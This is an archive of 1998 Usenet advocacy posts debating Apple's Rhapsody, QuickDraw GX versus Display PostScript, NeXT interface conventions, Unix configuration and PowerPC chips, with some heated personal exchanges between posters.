Message-ID: <6ft755$h2c$2@ironhorse.plsys.co.uk>
References: <rmcassid-3003982111410001@dante.eng.uci.edu> <B146786A-A7861@206.165.43.17>
<rmcassid-3103981323260001@dante.eng.uci.edu>
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In <rmcassid-3103981323260001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
> True, I am. Though I think any relations with the Newton community were
> already strained. And what would be better to improve those relations:
> NewtonOS and a confused future for Apple handhelds, or a MacOS based
> handheld designed by the people that made the Newton.
>
My boss writes a column for the UK magazine PCPro; a couple of recent
articles may be of interest to people reading this thread, in particular this
one:
http://www.plsys.co.uk/~paul/pda/Horizons43/
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 11:14:00 GMT
Organization: P & L Systems
Message-ID: <6fvrto$oqv$3@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net>
<6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351F49F2.50DF3F6B@trilithon.com> <6fvdgh$aa0$1@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6fvdgh$aa0$1@quasar.dimensional.com> Kenneth R. Kinder wrote:
> In comp.os.linux.advocacy , article <351F49F2.50DF3F6B@trilithon.com> ,
Henry McGilton <henry@trilithon.com> wrote:
> You said you were a 70s Unix hacker?
>
Someone once said, I believe, "On Usenet, noone knows you're a dog."
I have a corollary to that:
"On Usenet, noone knows you're a god, either."
Best wishes,
mmalc.
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.tech
Subject: Re: G3, Intel mobile P-II
Date: Fri, 03 Apr 1998 07:02:59 -0600
Organization: Jump Point Communications, Inc.
Message-ID: <tim-0304980703000001@jump-k56flex-0110.jumpnet.com>
References: <6g0rvq$iqk@newsb.netnews.att.com> <6g1t1f$mj4$1@joe.rice.edu>
In article <6g1t1f$mj4$1@joe.rice.edu>, maliyekk@rice.edu (Anil Thomas
Maliyekkel) wrote:
| The best part of it is that the core voltages are different.
| The current PPC750 uses a 2.5V supply while the new mobile PIIs
| use 1.7V supplies. With that much room for voltage reduction,
| I would imagine future 750's could operate above 450MHz (@1.8V), while
| the PII with a reduction to 1.4V might get Intel to 366MHz.
While I'm sure you know the relationship between voltage and frequency,
the way you phrased this makes it sound like the voltage reduction is
giving you the frequency increase, which is not the case:
For any given process technology, there is a voltage range in which it
operates; too low and the gate won't go above the threashold voltage and
turn on; too high and the gate oxide will break down.
When operating in that voltage range:
lower voltage: slower, less power required
higher voltage: faster, more power required
As processes get faster, they also reduce the gate oxide thickness, which
requires the voltage reduction to prevent breakdown.
--
-- Tim Olson
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 18:08:44 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g38jc$du2$1@ns3.vrx.net>
References: <6g2tuj$5v3$1@ns3.vrx.net> <B14AAB36-E72ED@206.165.43.27>
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In <B14AAB36-E72ED@206.165.43.27> "Lawson English" claimed:
> > I choose neither. I choose to focus on what Rhapsody can do, and
> > that's all.
>
> So GX can offer nothing more to Rhaposdy than what Apple has already lifted
> from it (which you aren't even sure about)?
Stop putting words in my mouth.
> Now we know where you are coming from, Mr. Ragosta.
And what you've stooped to.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 18:13:19 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g38rv$du2$2@ns3.vrx.net>
References: <6g2qut$49h$1@ns3.vrx.net> <B14AAAD0-E5AEE@206.165.43.27>
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In <B14AAAD0-E5AEE@206.165.43.27> "Lawson English" claimed:
> > Neither do you. For all we know it took 1 day.
>
> I seriously doubt it. ARe you being serious or what?
That I don't know how long it too? Absolutely serious.
> What good points about speed? GX, as far as I can tell, does its processing
> of any and all variations of GX ink-color-transfer-modes in a single pass,
> including those for bitmaps.
Doesn't make it fast.
> I don't know for sure how GX does its thing, but it isn't rocket-science
NOW look who's playing the "caught in the middle game".
One message: All this GX stuff is obviously too hard for people that wrote
Mach, YB, and DPS to do!
Next message: "but it isn't rocket-science"
So, which is it? If it's option (a) which you've been saying it is for
MONTHS now, then you're stating the opposite now. And if it's option (b),
they why don't you do it? Make up your mind!
> efficiency. However, to keep it coherent with the rest of the design of DPS
> and to ensure that ALL Rhapsody programmers will be able to use it, Apple
> has to implement it, not me.
Balogna, we've got curve and path classes in our app, and we didn't write
them. Neither did Apple/NeXT. If you're so hot on this, do it.
Maury
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Fri, 03 Apr 1998 17:42:53 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <352573FD.6C16@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
<35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
<3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net> <6g3dvf$ovn$1@cronkite.cygnus.com>
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John Rudd wrote:
> In <3523C37E.614550BA@nstar.net> "Michael J. Peck" wrote:
> > When I complained about pppd on NEXTSTEP, I wasn't implying that
> > NEXTSTEP was the only system where these problems happened. I was
> > countering the notion that everything "Just Works".
> >
>
> My statement about things just working made absolutely no mention of the Unix
> layer on Nextstep. I was comparing the body of NeXTstep's graphical
> interface layers compared to the body of X as a graphical interface layer.
Then I submit it's a little silly to say "Just Works" instead of
something else, like "Just Looks Fun" or "Just Pleases the Eye" or "Just
Makes Me Happy". What is it about the GUI that "Just Works", then? I
mean, as far as I know, my X Windows GUI "Just Works", too, and quite
well, at that. What were you trying to say?
> I
> would think it would be obvious in such a comparison that Unix level
> utilities aren't being taken into consideration.. Unix is part of Nextstep's
> OS layer, not graphical layer. X has no OS layer.
What do you mean? NT is part of OPENSTEP's OS layer, and it's not Unix.
> If anyone had written a graphical front end that claimed to handle all of
> pppd (like the way similar things have been done for the client side of PPP
> on a mac or win95), I'd see room for criticism.
So more is less? There are GUI front-ends for PPP on X-Windows that
claim to be robust and thorough. They're mostly right, too. Is this
grounds for criticism, then?
Maybe you're just saying that "Just Works" applies to the NEXTSTEP GUI
inasmuch as that GUI affects the OS layer. If so, you're on solid
footing, since beyond network configuration and some other simple
things, there really aren't many configuration tools on NEXTSTEP. Which
leaves little room for argument about the "Just Works" comment.
> but I've never seen such a
> beast on a NeXT nor even for X.
XISP? XPPP? KPPP?
> (and I don't mean something that merely runs
> your CLI scripts, the way Gatekeeper does -- I mean something that handles
> every aspect of the ppp control and configuration, not something that just
> organizes your hand-written control scripts)
How about something that writes and manages the scripts itself? And
monitors the connection and brings it up and down and otherwise
automates and facilitates the link process?
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 3 Apr 1998 18:51:58 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g3b4e$foh$1@ns3.vrx.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
<35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
<3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net>
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<35257250.242B@nstar.net>
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In <35257250.242B@nstar.net> Michael Peck claimed:
> It seems like a shame to waste the one topic where Maury might agree
> with me, but I have to play devil's advocate and point out that putting
> the scrollbar on the left makes more sense in this case. Even though
> you've pointed out other potential pitfalls, they don't erase the fact
> that right-handed scrollbars add up to another variable that has to
> geometry-managed, rather than taken for granted, the way they should be.
Yup, that's all true.
> But in some cases it's desirable to let things scroll off to the right.
> In such cases, you could accomplish your objective without compromise
> *and* use scroll bars, but only if the scrollers were on the left. See
> the point?
Not really, because the same chain of thinking would then logically require
the horizontal scroller to be at the top of the window.
Maury
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Fri, 03 Apr 1998 17:58:42 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <352577B2.2E0A@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <slrn6i6eob.j6l.sal@panix3.panix.com> <35234369.8CB74DE3@nstar.net> <slrn6i7soc.kjl.sal@panix3.panix.com> <3523F54C.6F87@CONVEX.COM> <slrn6ia4vh.pfp.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> Did you compile pppd for MacOS? Build gcc? Set up NFS links? Remove the native
> AppleTalk networking and replace it with NIS/NFS? I don't think that you are
> comparing the same types of tasks.
Who said anything about types of tasks? If you mean to say that NEXTSTEP
only "Just Works" if I treat it like a Macintosh, then I will concede
the discussion, having confirmed my belief that that's *EXACTLY* what
NEXTSTEP advocates mean.
> >Great! My usage patterns are markedly different.
>
> Yes, I spend more time working and you spend more time configing. :)
Yack yack yack. A John Kheit parrot. I use configuration and management
to enable better work productivity. I crank projects out because I know
what I'm doing. My workspace and overall jurisdiction are flexible
because I know how to make things happen quickly.
You can't pretend that it's okay to leave things alone and pretend
they'll never need to change. That bullshit about "I never need to
fiddle with my machine, it's a Macintosh" is OVER. If you don't
understand the way configuration works, or your system won't let you
perform configuration, you are running *SUBOPTIMALLY*, period.
Statements that "I don't waste my time with that" are warmed-over
bullshit excuses from an earlier era when businesses still believed it
was okay to accept a vendor's out-of-the-box solution. As a matter of
fact, lots of businesses still believe that, and they get that solution
from Microsoft.
> Why is it required on a repeated basis?
Because it didn't work the first time. Because I want to change it back.
Because I need to show someone how to do it. Because I didn't click
"set", first, in the silly damned Preferences box.
> Compare the time spent editing .rc files
> with the time spent waiting to load your changes. I know I spent a lot more than
> ten minutes editing rc files when I moved from fvwm to afterstep.
Too bad. That's probably because it was your first time and you had *NO*
idea what you were doing. The reason for that is probably that you went
around for the previous twelve months saying, "I don't need to learn vi
or configure .rc files because that's a waste of my time". People like
you walk into my office and want to know if I'll interrupt my schedule
and show them how to set up something they never bothered to learn.
The sad thing is, people like you often end up saving time, overall,
because idiots like me always feel sorry and save your ass when the time
crunch comes down.
[cut]
> After you make those kinds of edits. you should reboot to make sure they work
> after a restart. I've seen many instances where people have installed deamons,
> or updated thm and not test to see if they "just work" after a restart.
That's because they made an oversight. If it's worth rebooting for a
test, fine, do it. If it's not, don't reboot just because you're
superstitious or you have no idea whether it's necessary. I get scads of
people walking into my office every day asking me to reboot critical
test servers for lame fixable excuses. Mostly people just say vaguely
that "there are stale NFS handles, could you reboot?" I had to deal with
one guy who would actually reboot one of my servers every time he added
a new ClearCase export.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Fri, 03 Apr 1998 18:09:23 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <35257A33.5101@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net>
<3523BFDF.529161F8@nstar.net> <6g10j2$oqv$6@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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mmalcolm crawford wrote:
> Apart from that, I seem to remember that you didn't find out that the shelf
> is resizeable? *If* this is the case then I can understand your frustration.
Hmm, don't remember. It wouldn't have mattered, anyway; I never ran out
of room on the shelf.
But that's because I didn't like using the shelf. I ended up spawning
two browsers and copying between them. What a waste of time to move a
file *twice* instead of once when moving or copying. Twice as much time
to wait for the slow machine, twice as much opportunity to make a
mistake and copy /LocalApps into /Users, and twice as much frustration
with navigating the filesystem.
Maybe holding the button down is a really hard thing for most people,
that's vibe I'm getting throughout these discussions: "I like to be able
to let go during drags", "dragging through the Apple Menu to find files
is a pain", "dragging through menus at all is a pain, sticky is better".
I've never really had this problem with holding down a mouse button, but
that's just me.
[cut]
> > Oh, please. I did my best to wear the Spock ears and fit in with the
> > whole thing, I really did.
> >
> Umm, forgive me Mike, but I really did get the impression you didn't have
> your heart in it, or you had inappropriate expectations... I think your
> disappointment primarily with fighting the networking side of things spilled
> over into other aspects.
No, we had already wasted enough words discussing the GUI aspects many
months before. I had expected when I bought the machine that it would
work, from the UNIX side of things, so it was unexpected that I'd have
complaints about that stuff.
And you can hardly fault me if you know what I went through fighting
NetInfo. Waiting tens of minutes for the cursor to stop spinning nearly
drove me out of my head with insanity. I used to curse, "This is
MULTITASKING?" as the entire box stopped working for minutes at a time.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 17:25:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14ACD15-16684A@206.165.43.27>
References: <6g327f$9aa$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
> In <B14A9684-99602@206.165.43.27> "Lawson English" claimed:
> > Gee, thanks. Want to give me examples?
>
> Uhhh, that GX can edit text on a path and DPS can't without programming
> effort?
Now where did I ever make that statement? If I did, I was talking rather
strangely because...
>
> Funny that. Perhaps you can explain why it is that the Dec'96 issue of
> Develop spends no less that 12 pages explaining that GX does NOT support
> text
> on a path by default, and then includes the "programming effort" to do
it?
> GX does not do text-on-a-path by default. DPS does not include
> text-on-a-path by default. Both require programming effort to do it.
>
I was referring to the library of routines that Dan Lipton had devised to
do just that when I was saying that it was easier to do with GX than DPS.
In fact, just the other day, Dan was bemoaning the fact that none of the GX
applications actually bother to use his code, which he has granted Apple to
incorporate into GX in order to fix a known bug, BTW.
What I have been claiming is that GX provides algorithms that make it
*easier* to do this text-on-a-path thing, and these algorithms work with
multiple languages in multiple fonts with perfectly good,
professional-level default kerning, because GX fonts contain the default
kerning stuff.
Also, the GX API provides a way to connect the glyph shape (the
text-on-path) with the original formatted text (layout shape) so that one
can do professional-level DTP editing of multi-language text using Dan's
method as he describes in _develop_.
I made explicit reference to Dan's article the first time I mentioned this.
I've made explicit reference to it (I'm pretty sure) since then. In fact,
it has been one of my worries about NSText that there appears to be no way
to connect the original formatting done by NSTExt to some arbitrary
text-on-path so that one CAN do what Dan does in his sample of text-on-path
and allow simple (relatively simple -this is a free library that anyone can
use, so Dan's already done all the work) in-place editing of text-on-a-path
that is formatted using GX's default formatting routines.
Of course you can do text-on-a-path using DPS. However, the formatting
routines of NSText don't appear to be extractable for this purpose so you
can't make use of the GX layout's formatting algorithm as you can with GX
glyph shapes and layout shapes as demonstrated in Dan's relatively simple
library (much of which involves fixing a known bug, so it is somewhat
larger than it should be due to Apple's neglect of GX).
> "Rhapsody is no good without a unified 2D graphics model". Considering
> that the support given for this statement is more often wrong than right,
> I'd
> call if FUD.
As an example of how I am wrong, you're off-base here. I've always credited
the develop article with the algorithms for doing this, or at least, I've
meant to. Apologies to all if I've given the impression that there are no
extra steps involved in getting in-place text-on-path editing to work with
GX. ALl that I've ever meant to imply is that the way GX layout and glyph
shapes work together make this easier than it would be otherwise,
especially if you are dealing with
multi-languages/multi-directions/multi-whatevers that the layout shape
handles by default.
The reason for this is simple: when you convert a GX layout shape to a GX
glyph shape, you lose all formatting info as the text is converted into a
series of non-formatted glyphs. However, the original spacing and other
layout info of those glyphs is kept in the form of spacing between glyphs
and other geometric placement info. You can determine which glyph is hit in
a glyph shape, regardless of it's placement and use that info to determine
which character/glyph would be hit in the originally formatted layout shape
and use GX's text-insertion/selection-point API to simulate typing directly
into the text-on-a-path glyph shape (this is all described in Dan's
_develop_ article in greater and more accurate detail).
It's all done with mirrors, but by using Dan's sample code, you can easily
(here's where that word comes into play) do fully formatted,
multi-language, multi-directional, multi-font, multi-whatever in-place
editing of text-on-a-path.
And the GX insertion/selection-point API and hit-test API automatically
compensate for skewing, rotating, scaling, skewing AND perspective, so you
can do this with any 3x3 transform matrix applied also.
While FreeHand 8.0 allows one to edit mirrored and rotated text, it
apparently doesn't allow the editing of skewed or pespective-ized text, on
or off a path.
I checked this earlier today using the demo version downloaded from their
web-site.
Dan's sample code does this.
When I figure out the best way to put it into GXFCN, HyperCard will also.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Fri, 03 Apr 1998 16:27:08 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0304981627080001@dante.eng.uci.edu>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <slrn6i2mja.a5o.sal@panix3.panix.com> <rmcassid-3103981540370001@dante.eng.uci.edu> <6fsf3u$fs2$1@news.digifix.com>
In article <6fsf3u$fs2$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
>On 03/31/98, rmcassid@uci.edu wrote:
>>In article <slrn6i2mja.a5o.sal@panix3.panix.com>,
>sal@panix3.panix.com
>>(Salvatore Denaro) wrote:
><snip>
>>>4) GUI front ends to Samba and Apache
>>
>>Tenon might give us this. Or ASIP? Should be a strong demand for it,
>I'd think.
>
>
> There is now a front end available for Samba.
>
> Check http://www.stepwise.com/Software for a link to it.
Hmm-
SambaManager.app.NIHS.tar.gz
^^^^
Doh!
Maybe next month...
-Bob Cassidy
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Adobe dropping DPS rumor (Lawson?)
Date: 3 Apr 1998 17:54:13 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14AD3C5-17FA94@206.165.43.27>
References: <6fo9mh$mbc$2@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
> Umm, you asked "How do you make a color wheel that handles all the color
> spaces that a DTP professional might want to deal with?"
>
> The OPENSTEP Color Panel does just that. I can't see why you'd want to
do
> it
> as raw DPS calls...?
It was in the context of "roll your own [algorithms]" vs system-wide
support, the point being that it is nice to have standardized stuff in the
graphics library, rather than needing to dip into the lowest level all the
time.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VisualBasic
Date: 4 Apr 1998 01:02:01 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6g40q9$452$6@anvil.BLaCKSMITH.com>
References: <35215529.2E181E25@slip.net>
Sivan Mozes <sivan@slip.net> wrote:
> I understand the interface bulider is a great idea. But doen't VB do the
> same thing on Windows?
Sort of. Visual Basic is quite functional as a way of grinding out
interfaces, so long as you can use their standard widgets and don't need
custom ones.
The difference comes in when you write your business logic. VB sucks
miserably for doing anything beyond a very simple app, whereas a language
like Obj-C or Java is a much better system programming language for medium
and larger scale projects.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 3 Apr 1998 07:37:08 GMT
Organization: @Home Network
Message-ID: <6g23j4$n50$1@ha2.rdc1.sdca.home.com>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com> <rmcassid-0204980912350001@dante.eng.uci.edu>
rmcassid@uci.edu wrote:
>In article <6fva9h$ris$1@ha2.rdc1.sdca.home.com>, rexr@starr.com (Rex
>Riley) wrote:
>
>>>In <rmcassid-3103981540370001@dante.eng.uci.edu> rmcassid@uci.edu writes:
>>>If Rhapsody ends up with a MacOS or NT sized market, it'll get plenty of
>>>developers to forget Newton and chase the market.
>>>
>>>
>>
>>Isn't "chase the market" metaphor _at-risk_,and so RhapsodyOS, as well,
>>really?
>
>Yep.
>
>>The "window of opportunity" timing looks critical and closing fast for
Apple.
>>Jobs & Co. had better get Rhapsody "on message" wrt Java and "in position"
>>wrt NC marketplace. Talk, rumor and legacy "cross-compatibility" to NT,
>>Windows, Solaris, etc... will play to an empty audience shortly.
>
>I think they need to beat NT 5.0 to market by just enough that some
>developers will actually have to make an evaluation for new products: NT
>or YB/NT. They can develop on Rhapsody if they want, but nobody will
>really expect to deploy there for some time. *Although*, if Rhapsody is
>getting the kind of attention that Allegro has, I think we'll be *really*
>happy. Allegro is amazing, IMO, considering that it still is MacOS. Just
>amazing.
>
>
Interesting market dynamic you bring up, here. Apple can get Rhapsosy into
play with NT buyers with a "TwoFer" strategy (read 2 for 1). Buying Rhapsody
gets them options on hardware, development, operating systems and Java. Lets
say NT buyers will "opt" out of MICROSOFT programs. That's huge leverage on
the development side. OK... but its still not selling seats or servers.
GodBless Avie's MachSquad but it sounds like SMP is late to the CR1 release
party from the ink being splattered in the media. Through my own sheer
ignorance and stupidity SMP delivery may have more to do with hardware or
marketing so Avie & Friends? No aspersions intended.
Does this get Rhapsody to NT5.0's release party?
-r
Rex Riley
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 3 Apr 1998 07:51:18 GMT
Organization: @Home Network
Message-ID: <6g24dm$n50$2@ha2.rdc1.sdca.home.com>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com> <rmcassid-0204980912350001@dante.eng.uci.edu>
rmcassid@uci.edu wrote:
>In article <6fva9h$ris$1@ha2.rdc1.sdca.home.com>, rexr@starr.com (Rex
>Riley) wrote:
>>JavaOS and Java Lang. are capturing mindshare and building. Won't
>>developer's getting hot and lathered over "chasing a market" pursue the
>>latest,greatest phenom? With the weight of IBM and Sun's marketing
machines
>>grinding JavaOS into everyone's coffee, is Apple cost-justified to switch
the
>>market herd to Rhapsody Brew.
>
>Isn't Apple pushing Java + YB? I think this is *exactly* the right thing
>to do. They can jump onto Java the Java bandwagon and still give people a
>better way to solve the problem.
>
>
My only wish is for "some" of your attitude to rub-off and infect Apple's
marketing message. Snails, Toasted Suits and Different sloganisms hopefully
lead to serious attention when the "real message" gets delivered.
>Is JavaOS really capturing mindshare in
>the markets that Apple is after? I don't see it, yet.
>
>
IBM + Sun on a co-development/marketing of "JavaOS for Business" grabbed a
"significant" amount of BlueSuit's bandwidth. I don't see anything, yet. No
oner saw "anything" of IBM's fabled TaligentOS. But that doesn't mean they
don't command attention cum mindshare. So yeah, the atmosphere is
contaminated with messages through which Apple will have to pierce through.
That's what I see...
-r
Rex Riley
From: "William V. Campbell Jr." <wcampbe1@san.rr.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 98 00:00:47 -0800
Organization: Road Runner
Message-ID: <B149D734-240507@204.210.20.147>
References: <6g20i8$gki1@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news-server/comp.sys.next.advocacy,
nntp://news-server/comp.os.linux.advocacy
Lawson English <Lawson English <english@primenet.com>wrote:
Michelle L. Buck<Michelle L. Buck <buck.erik@mcleod.net>wrote:
Lawson English wrote in message ...
>>Now, back to your point about color control. Much of GX vector graphics
>>color already exists in Rhaposdy. However, GX color applies equally to
>>bitmaps. Not so, as I understand it, with Rhapsody color. You might be
able
>>to put a bit of NSText on top of a bitmap using the equivalent of GX
Inks,
>>but can you take that text, use it as a mask for a bitmap, and then
apply
>>that bitmap to another bitmap with the same level of control?
>>
>>Not from what I have been told.
>>
>If you resort to Postscript code or the provided C function equivelents,
>this is easily done. Noone has seen fit to put a proper OO interface on
>this capability. Where do you get the idea that these things can not be
>done ? Are you TOTALY ignorant ?
>
>>
>>No. This whole "Rhaposdy is better" thing really boils down to "I can do
>>what *I* need and to hell with innovation in the area of 2D graphics
since
>>I don't care about anyone else's needs besides my own."
>>
>GX is probably much more capable when it comes to Asian languages and
>font
>issues. I really do not know what the issues are. However, for a year
you
>have been complaining that you will not be able to do this that or the
other
>thing in Rhapsody. In that time you have evidently not even attepted to
do
>them or investigate the feasibility. How many hundreds of times do people
>have to correct you by saying, "Of cource you can do that." Your usually
>respond by saying, "but that is not the way I want to do it." There is
>more than one way to do something and I can hardly put much credence in
>your
>preferences when you continually demonstrait ignorance of the
>alternatives.
>
Mr. Lawson English is a prime example of the type of poster that keeps
going around and around in circles, jumping from issue to issue when his
ideas and opinions are exposed and bankrupt.
In trying to debate the inadequacies of Rhapsody (which all Operating
Systems have) he only exposes the inadequacies of his position(s).
What a waste of cyberspace; hell, what a waste of any space!
He doesn't seem to be interested in the numerous advantages of
OPENSTEP/Rhapsody. He seems to only be interested in telling any who will
listen, what it can't do for *him*. Fine, then it's not for him. He misses
out on what I see is going to be one hell of a platform. You can explain
until you are blue in the face and he will never acknowledge any *major*
point.
Is the majority of the Unix/Next community so resistant to
OPENSTEP/Rhapsody? Is it because of Apple? Steve Jobs? --beats me.
take care,
Soup
"It would be better if you begin to teach others only after you yourself
have learned something."
-Albert Einstein-
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6g26qa$t39@bgtnsc02.worldnet.att.net>
Control: cancel <6g26qa$t39@bgtnsc02.worldnet.att.net>
Date: 03 Apr 1998 08:32:13 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: fun@singleboysngirls.com (Advertisement)
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Date: Fri, 03 Apr 1998 21:34:29 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <joe.ragosta-0304982134290001@elk40.dol.net>
References: <6g2tuj$5v3$1@ns3.vrx.net> <B14AAB36-E72ED@206.165.43.27>
In article <B14AAB36-E72ED@206.165.43.27>, "Lawson English"
<english@primenet.com> wrote:
> Maury Markowitz <maury@remove_this.istar.ca> said:
> Lawson English <english@primenet.com> said:
>
> > > you can focus on the issue of what GX can do that DPS/Rhapsody graphics
> > > cannot [at least in approximately the same time-span] and _vice versa_
> > and
> > > why it might be good, at some point, to make sure that Rhaposdy
> graphics
> > > CAN do these things.
> > >
> > > Your choice, Maury.
> >
